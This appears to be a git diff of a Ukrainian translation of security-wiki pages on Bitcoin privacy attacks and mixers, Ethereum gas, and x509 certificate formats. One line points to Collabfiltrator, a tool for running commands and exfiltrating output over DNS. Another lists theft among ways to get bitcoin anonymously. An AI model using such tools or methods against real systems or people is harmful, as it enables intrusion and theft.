Газ вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, ціна в **gwei**. Наприклад, транзакція, що коштує 2,310,000 gwei (або 0.00231 ETH), передбачає ліміт газу та базовий збір, з чаєм для стимулювання майнерів. Користувачі можуть встановити максимальний збір, щоб не переплачувати, з надлишком, що повертається.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Виконання транзакцій**
## **Executing Transactions**
Транзакції в Ethereum передбачають відправника та отримувача, якими можуть бути адреси користувача або смарт-контракту. Вони вимагають збору та повинні бути видобуті. Основна інформація в транзакції включає отримувача, підпис відправника, значення, необов'язкові дані, ліміт газу та збори. Важливо, що адреса відправника виводиться з підпису, що усуває необхідність її вказування в даних транзакції.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Ці практики та механізми є основоположними для будь-кого, хто прагне взаємодіяти з криптовалютами, приорітетизуючи конфіденційність та безпеку.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Посилання
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -4,8 +4,8 @@
- **Простий Список:** Просто список, що містить запис в кожному рядку
- **Файл Часу Виконання:** Список, що читається під час виконання (не завантажується в пам'ять). Для підтримки великих списків.
- **Модифікація Регістру:** Застосувати деякі зміни до списку рядків (Без змін, до нижнього регістру, до ВЕРХНЬОГО, до Правильного імені - перша буква велика, решта - маленькі, до Правильного Імені - перша буква велика, решта залишається такою ж).
- **Числа:** Генерувати числа від X до Y з кроком Z або випадковим чином.
- **Модифікація Регістру:** Застосування деяких змін до списку рядків (Без змін, до нижнього регістру, до ВЕРХНЬОГО, до Правильного імені - перша буква велика, решта - маленька, до Правильного Імені - перша буква велика, решта залишається такою ж).
- **Числа:** Генерація чисел від X до Y з використанням кроку Z або випадковим чином.
- **Брутфорсер:** Набір символів, мінімальна та максимальна довжина.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Пейлоад для виконання команд та отримання виходу через DNS запити до burpcollab.

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## Основні Концепції
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **Смарт-контракти** визначаються як програми, які виконуються на блокчейні, коли виконуються певні умови, автоматизуючи виконання угод без посередників.
- **Децентралізовані додатки (dApps)** базуються на смарт-контрактах, маючи зручний інтерфейс для користувачів та прозорий, підзвітний бекенд.
- **Токени та Монети** відрізняються тим, що монети слугують цифровими грошима, тоді як токени представляють цінність або власність у певних контекстах.
- **Утиліті токени** надають доступ до послуг, а **Секюріті токени** позначають власність на активи.
- **DeFi** означає децентралізовані фінанси, пропонуючи фінансові послуги без центральних органів.
- **DEX** та **DAO** відносяться до децентралізованих платформ обміну та децентралізованих автономних організацій відповідно.
## Consensus Mechanisms
## Механізми Консенсусу
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
Механізми консенсусу забезпечують безпечну та узгоджену валідацію транзакцій на блокчейні:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **Proof of Work (PoW)** покладається на обчислювальну потужність для верифікації транзакцій.
- **Proof of Stake (PoS)** вимагає, щоб валідатори тримали певну кількість токенів, зменшуючи споживання енергії в порівнянні з PoW.
## Bitcoin Essentials
## Основи Bitcoin
### Transactions
### Транзакції
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
Транзакції Bitcoin включають передачу коштів між адресами. Транзакції верифікуються за допомогою цифрових підписів, що забезпечує, що лише власник приватного ключа може ініціювати перекази.
#### Key Components:
#### Ключові Компоненти:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **Мультипідписні транзакції** вимагають кілька підписів для авторизації транзакції.
- Транзакції складаються з **входів** (джерело коштів), **виходів** (призначення), **комісій** (сплачених майнерам) та **скриптів** (правил транзакції).
### Lightning Network
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
Спрямована на покращення масштабованості Bitcoin, дозволяючи кілька транзакцій в межах каналу, лише транслюючи фінальний стан на блокчейн.
## Bitcoin Privacy Concerns
## Проблеми Приватності Bitcoin
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
Атаки на приватність, такі як **Припущення спільної власності на входи** та **Виявлення адреси зміни UTXO**, експлуатують шаблони транзакцій. Стратегії, такі як **Міксери** та **CoinJoin**, покращують анонімність, приховуючи зв'язки транзакцій між користувачами.
## Acquiring Bitcoins Anonymously
## Отримання Bitcoin анонімно
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
Методи включають готівкові угоди, майнінг та використання міксерів. **CoinJoin** змішує кілька транзакцій, ускладнюючи трасування, тоді як **PayJoin** маскує CoinJoins як звичайні транзакції для підвищення приватності.
# Bitcoin Privacy Atacks
# Атаки на Приватність Bitcoin
# Summary of Bitcoin Privacy Attacks
# Резюме Атак на Приватність Bitcoin
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
У світі Bitcoin приватність транзакцій та анонімність користувачів часто викликають занепокоєння. Ось спрощений огляд кількох поширених методів, за допомогою яких зловмисники можуть скомпрометувати приватність Bitcoin.
## **Common Input Ownership Assumption**
## **Припущення спільної власності на входи**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
Зазвичай рідко, щоб входи від різних користувачів об'єднувалися в одній транзакції через пов'язані складнощі. Таким чином, **дві адреси входів в одній транзакції часто вважаються належними одному власнику**.
## **UTXO Change Address Detection**
## **Виявлення адреси зміни UTXO**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, або **Невитрачений вихід транзакції**, повинен бути повністю витрачений у транзакції. Якщо лише частина з нього надсилається на іншу адресу, решта йде на нову адресу зміни. Спостерігачі можуть припустити, що ця нова адреса належить відправнику, що компрометує приватність.
### Example
### Приклад
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
Щоб зменшити це, міксингові сервіси або використання кількох адрес можуть допомогти приховати власність.
## **Social Networks & Forums Exposure**
## **Витік через Соціальні Мережі та Форуми**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
Користувачі іноді діляться своїми адресами Bitcoin в Інтернеті, що робить **легким зв'язок адреси з її власником**.
## **Transaction Graph Analysis**
## **Аналіз Графа Транзакцій**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
Транзакції можна візуалізувати як графи, що виявляють потенційні зв'язки між користувачами на основі потоку коштів.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **Гіпотеза Непотрібного Входу (Оптимальна Гіпотеза Зміни)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
Ця гіпотеза базується на аналізі транзакцій з кількома входами та виходами, щоб вгадати, який вихід є зміною, що повертається до відправника.
### Приклад
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Якщо додавання більше вхідних даних робить вихідні дані більшими, ніж будь-який окремий вхід, це може заплутати евристичний аналіз.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Примусове повторне використання адреси**
## **Forced Address Reuse**
Зловмисники можуть надсилати невеликі суми на раніше використані адреси, сподіваючись, що отримувач об'єднає їх з іншими вхідними даними в майбутніх транзакціях, таким чином пов'язуючи адреси разом.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Правильна поведінка гаманця
### Correct Wallet Behavior
Гаманці повинні уникати використання монет, отриманих на вже використаних, порожніх адресах, щоб запобігти цьому витоку конфіденційності.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Інші техніки аналізу блокчейну**
## **Other Blockchain Analysis Techniques**
- **Точні суми платежів:** Транзакції без здачі, ймовірно, між двома адресами, що належать одному користувачу.
- **Круглі числа:** Кругле число в транзакції вказує на те, що це платіж, а не круглий вихід, ймовірно, є здачею.
- **Фінгертепінг гаманців:** Різні гаманці мають унікальні шаблони створення транзакцій, що дозволяє аналітикам ідентифікувати використовуване програмне забезпечення та потенційно адресу здачі.
- **Кореляції суми та часу:** Розкриття часу або сум транзакцій може зробити транзакції відстежуваними.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Аналіз трафіку**
## **Traffic Analysis**
Моніторинг мережевого трафіку може дозволити зловмисникам потенційно пов'язати транзакції або блоки з IP-адресами, що компрометує конфіденційність користувачів. Це особливо вірно, якщо суб'єкт управляє багатьма вузлами Bitcoin, що підвищує їх здатність моніторити транзакції.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## Більше
## More
Для отримання всебічного списку атак на конфіденційність і захистів від них відвідайте [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Анонімні транзакції Bitcoin
# Anonymous Bitcoin Transactions
## Способи отримати Bitcoin анонімно
## Ways to Get Bitcoins Anonymously
- **Готівкові транзакції**: Отримання біткойнів через готівку.
- **Альтернативи готівці**: Придбання подарункових карток і обмін їх онлайн на біткойни.
- **Майнінг**: Найбільш приватний спосіб заробити біткойни - це майнінг, особливо коли його виконують наодинці, оскільки майнінг-пули можуть знати IP-адресу майнера. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Крадіжка**: Теоретично, крадіжка біткойнів може бути ще одним способом отримати їх анонімно, хоча це незаконно і не рекомендується.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Сервіси змішування
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
Використовуючи сервіс змішування, користувач може **надіслати біткойни** і отримати **інші біткойни в обмін**, що ускладнює відстеження оригінального власника. Проте це вимагає довіри до сервісу, щоб він не зберігав журнали і дійсно повертав біткойни. Альтернативні варіанти змішування включають казино Bitcoin.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin** об'єднує кілька транзакцій від різних користувачів в одну, ускладнюючи процес для будь-кого, хто намагається зіставити вхідні дані з вихідними. Незважаючи на свою ефективність, транзакції з унікальними розмірами вхідних і вихідних даних все ще можуть бути відстежені.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Прикладом транзакцій, які могли використовувати CoinJoin, є `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` та `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
Для отримання додаткової інформації відвідайте [CoinJoin](https://coinjoin.io/en). Для подібного сервісу на Ethereum ознайомтеся з [Tornado Cash](https://tornado.cash), який анонімізує транзакції з коштів від майнерів.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
Варіант CoinJoin, **PayJoin** (або P2EP), маскує транзакцію між двома сторонами (наприклад, клієнтом і торговцем) як звичайну транзакцію, без характерних рівних виходів, притаманних CoinJoin. Це робить її надзвичайно важкою для виявлення і може знецінити евристичний аналіз спільної власності вхідних даних, що використовується організаціями, які здійснюють моніторинг транзакцій.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Транзакції, подібні до наведених вище, можуть бути PayJoin, що підвищує конфіденційність, залишаючись невідрізняними від стандартних біткойн-транзакцій.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**Використання PayJoin може суттєво порушити традиційні методи спостереження**, що робить його багатообіцяючим розвитком у прагненні до транзакційної конфіденційності.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# Найкращі практики для конфіденційності в криптовалютах
# Best Practices for Privacy in Cryptocurrencies
## **Техніки синхронізації гаманців**
## **Wallet Synchronization Techniques**
Для підтримки конфіденційності та безпеки важливо синхронізувати гаманці з блокчейном. Виділяються два методи:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **Повний вузол**: Завантажуючи весь блокчейн, повний вузол забезпечує максимальну конфіденційність. Усі транзакції, коли-небудь здійснені, зберігаються локально, що унеможливлює для супротивників визначити, які транзакції або адреси цікавлять користувача.
- **Фільтрація блоків на стороні клієнта**: Цей метод передбачає створення фільтрів для кожного блоку в блокчейні, що дозволяє гаманцям ідентифікувати відповідні транзакції, не розкриваючи конкретні інтереси спостерігачам мережі. Легкі гаманці завантажують ці фільтри, отримуючи повні блоки лише тоді, коли знаходять збіг з адресами користувача.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Використання Tor для анонімності**
## **Utilizing Tor for Anonymity**
Оскільки Bitcoin працює в мережі рівноправних учасників, рекомендується використовувати Tor для маскування вашої IP-адреси, що підвищує конфіденційність під час взаємодії з мережею.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **Запобігання повторному використанню адрес**
## **Preventing Address Reuse**
Для захисту конфіденційності важливо використовувати нову адресу для кожної транзакції. Повторне використання адрес може скомпрометувати конфіденційність, пов'язуючи транзакції з однією і тією ж особою. Сучасні гаманці заохочують уникнення повторного використання адрес через свій дизайн.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **Стратегії для конфіденційності транзакцій**
## **Strategies for Transaction Privacy**
- **Кілька транзакцій**: Розподіл платежу на кілька транзакцій може затемнити суму транзакції, ускладнюючи атаки на конфіденційність.
- **Уникнення здачі**: Вибір транзакцій, які не потребують здачі, підвищує конфіденційність, порушуючи методи виявлення здачі.
- **Кілька виходів здачі**: Якщо уникнути здачі неможливо, створення кількох виходів здачі все ще може покращити конфіденційність.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: маяк анонімності**
# **Monero: A Beacon of Anonymity**
Monero відповідає потребі в абсолютній анонімності в цифрових транзакціях, встановлюючи високий стандарт для конфіденційності.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **Ethereum: газ і транзакції**
# **Ethereum: Gas and Transactions**
## **Розуміння газу**
## **Understanding Gas**
Газ вимірює обчислювальні зусилля, необхідні для виконання операцій в Ethereum, ціна в **gwei**. Наприклад, транзакція, що коштує 2,310,000 gwei (або 0.00231 ETH), передбачає ліміт газу та базовий збір, з чаєм для стимулювання майнерів. Користувачі можуть встановити максимальний збір, щоб не переплачувати, з надлишком, що повертається.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **Виконання транзакцій**
## **Executing Transactions**
Транзакції в Ethereum передбачають відправника та отримувача, якими можуть бути адреси користувача або смарт-контракту. Вони вимагають збору та повинні бути видобуті. Основна інформація в транзакції включає отримувача, підпис відправника, значення, необов'язкові дані, ліміт газу та збори. Важливо, що адреса відправника виводиться з підпису, що усуває необхідність її вказування в даних транзакції.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
Ці практики та механізми є основоположними для будь-кого, хто прагне взаємодіяти з криптовалютами, при цьому пріоритетуючи конфіденційність і безпеку.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## Посилання
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -1,47 +1,38 @@
# Certificates
# Сертифікати
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
## Що таке сертифікат
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
**Публічний ключовий сертифікат** - це цифровий ID, який використовується в криптографії для підтвердження того, що хтось володіє публічним ключем. Він містить деталі ключа, ідентичність власника (суб'єкта) та цифровий підпис від надійного органу (видавця). Якщо програмне забезпечення довіряє видавцеві, а підпис є дійсним, можливе безпечне спілкування з власником ключа.
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
Сертифікати в основному видаються [сертифікаційними центрами](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) в налаштуванні [інфраструктури відкритих ключів](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Інший метод - це [мережа довіри](https://en.wikipedia.org/wiki/Web_of_trust), де користувачі безпосередньо перевіряють ключі один одного. Загальний формат для сертифікатів - [X.509](https://en.wikipedia.org/wiki/X.509), який може бути адаптований для специфічних потреб, як зазначено в RFC 5280.
## What is a Certificate
## Загальні поля x509
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
### **Загальні поля в сертифікатах x509**
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
У сертифікатах x509 кілька **полів** відіграють критичну роль у забезпеченні дійсності та безпеки сертифіката. Ось розподіл цих полів:
## x509 Common Fields
- **Номер версії** позначає версію формату x509.
- **Серійний номер** унікально ідентифікує сертифікат у системі сертифікаційного центру (CA), головним чином для відстеження анулювання.
- Поле **Суб'єкт** представляє власника сертифіката, яким може бути машина, особа або організація. Воно містить детальну ідентифікацію, таку як:
- **Загальна назва (CN)**: домени, охоплені сертифікатом.
- **Країна (C)**, **Місцевість (L)**, **Штат або провінція (ST, S або P)**, **Організація (O)** та **Організаційна одиниця (OU)** надають географічні та організаційні деталі.
- **Виділене ім'я (DN)** охоплює повну ідентифікацію суб'єкта.
- **Видавець** вказує, хто перевірив і підписав сертифікат, включаючи подібні підполя, як у Суб'єкта для CA.
- **Період дійсності** позначається часовими мітками **Не раніше** та **Не пізніше**, що забезпечує, щоб сертифікат не використовувався до або після певної дати.
- Розділ **Публічний ключ**, критично важливий для безпеки сертифіката, вказує алгоритм, розмір та інші технічні деталі публічного ключа.
- **Розширення x509v3** покращують функціональність сертифіката, вказуючи **Використання ключа**, **Розширене використання ключа**, **Альтернативне ім'я суб'єкта** та інші властивості для точного налаштування застосування сертифіката.
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Використання ключа та розширення**
- **Використання ключа** ідентифікує криптографічні застосування публічного ключа, такі як цифровий підпис або шифрування ключа.
- **Розширене використання ключа** ще більше звужує випадки використання сертифіката, наприклад, для аутентифікації сервера TLS.
- **Альтернативне ім'я суб'єкта** та **Основне обмеження** визначають додаткові імена хостів, охоплені сертифікатом, і чи є це сертифікатом CA або кінцевого суб'єкта відповідно.
- Ідентифікатори, такі як **Ідентифікатор ключа суб'єкта** та **Ідентифікатор ключа органу**, забезпечують унікальність та відстежуваність ключів.
- **Доступ до інформації про орган** та **Точки розподілу CRL** надають шляхи для перевірки видавця CA та перевірки статусу анулювання сертифіката.
- **SCT сертифікатів CT** пропонують журнали прозорості, критично важливі для публічної довіри до сертифіката.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Різниця між OCSP та CRL Distribution Points**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) передбачає співпрацю клієнта та респондента для перевірки, чи був відкликаний цифровий публічний сертифікат, без необхідності завантажувати повний **CRL**. Цей метод є більш ефективним, ніж традиційний **CRL**, який надає список серійних номерів відкликаних сертифікатів, але вимагає завантаження потенційно великого файлу. CRL можуть містити до 512 записів. Більше деталей доступно [тут](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Що таке Прозорість Сертифікатів**
### **What is Certificate Transparency**
Прозорість сертифікатів допомагає боротися з загрозами, пов'язаними з сертифікатами, забезпечуючи видимість видачі та існування SSL сертифікатів для власників доменів, ЦС та користувачів. Її цілі:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Запобігання видачі ЦС SSL сертифікатів для домену без відома власника домену.
- Встановлення відкритої системи аудиту для відстеження помилково або зловмисно виданих сертифікатів.
- Захист користувачів від шахрайських сертифікатів.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Журнали Сертифікатів**
#### **Certificate Logs**
Журнали сертифікатів є публічно доступними, підлягають аудиту, записами сертифікатів, які ведуться мережевими службами. Ці журнали надають криптографічні докази для цілей аудиту. Як органи видачі, так і громадськість можуть подавати сертифікати до цих журналів або запитувати їх для перевірки. Хоча точна кількість серверів журналів не є фіксованою, очікується, що їх буде менше тисячі в усьому світі. Ці сервери можуть незалежно управлятися ЦС, ISP або будь-якою зацікавленою стороною.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Запит**
#### **Query**
Щоб дослідити журнали Прозорості Сертифікатів для будь-якого домену, відвідайте [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Існують різні формати для зберігання сертифікатів, кожен з яких має свої випадки використання та сумісність. Це резюме охоплює основні формати та надає рекомендації щодо конвертації між ними.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Формати**
## **Formats**
### **PEM Формат**
### **PEM Format**
- Найбільш поширений формат для сертифікатів.
- Вимагає окремих файлів для сертифікатів та приватних ключів, закодованих у Base64 ASCII.
- Загальні розширення: .cer, .crt, .pem, .key.
- Переважно використовується Apache та подібними серверами.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Формат**
### **DER Format**
- Бінарний формат сертифікатів.
- Не має заяв "BEGIN/END CERTIFICATE", які є у PEM файлах.
- Загальні розширення: .cer, .der.
- Часто використовується з платформами Java.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Формат**
### **P7B/PKCS#7 Format**
- Зберігається у Base64 ASCII, з розширеннями .p7b або .p7c.
- Містить лише сертифікати та ланцюгові сертифікати, виключаючи приватний ключ.
- Підтримується Microsoft Windows та Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Формат**
### **PFX/P12/PKCS#12 Format**
- Бінарний формат, який інкапсулює серверні сертифікати, проміжні сертифікати та приватні ключі в одному файлі.
- Розширення: .pfx, .p12.
- Переважно використовується на Windows для імпорту та експорту сертифікатів.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Конвертація Форматів**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
